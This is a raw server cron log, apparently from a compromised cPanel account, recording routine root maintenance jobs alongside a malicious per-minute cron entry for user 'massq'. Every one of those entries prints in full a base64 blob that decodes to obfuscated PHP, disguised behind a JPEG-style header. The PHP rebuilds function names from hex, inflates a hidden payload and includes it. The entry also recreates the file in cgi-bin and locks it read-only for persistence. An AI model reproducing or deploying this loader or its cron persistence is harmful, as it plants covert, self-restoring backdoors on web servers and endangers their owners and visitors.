Nov 14 23:00:01 server CROND[25679]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:00:01 server CROND[25682]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:00:01 server CROND[25683]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:01:01 server CROND[26668]: (root) CMD (run-parts /etc/cron.hourly)
Nov 14 23:01:01 server CROND[26669]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:01:01 server run-parts(/etc/cron.hourly)[26668]: starting 0anacron
Nov 14 23:01:01 server run-parts(/etc/cron.hourly)[26681]: finished 0anacron
Nov 14 23:02:01 server CROND[27596]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:03:01 server CROND[28502]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:04:01 server CROND[29415]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:05:01 server CROND[30448]: (root) CMD (/usr/local/cpanel/bin/autossl_check --all)
Nov 14 23:05:01 server CROND[30449]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:05:01 server CROND[30454]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:05:01 server CROND[30451]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:05:01 server CROND[30455]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 14 23:06:01 server CROND[31517]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:07:01 server CROND[32240]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:08:01 server CROND[705]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:09:01 server CROND[1619]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 14 23:09:01 server CROND[1620]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:10:01 server CROND[2420]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:10:01 server CROND[2422]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 14 23:10:01 server CROND[2423]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 14 23:10:01 server CROND[2421]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 14 23:11:01 server CROND[3235]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:12:01 server CROND[4150]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 14 23:12:01 server CROND[4151]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
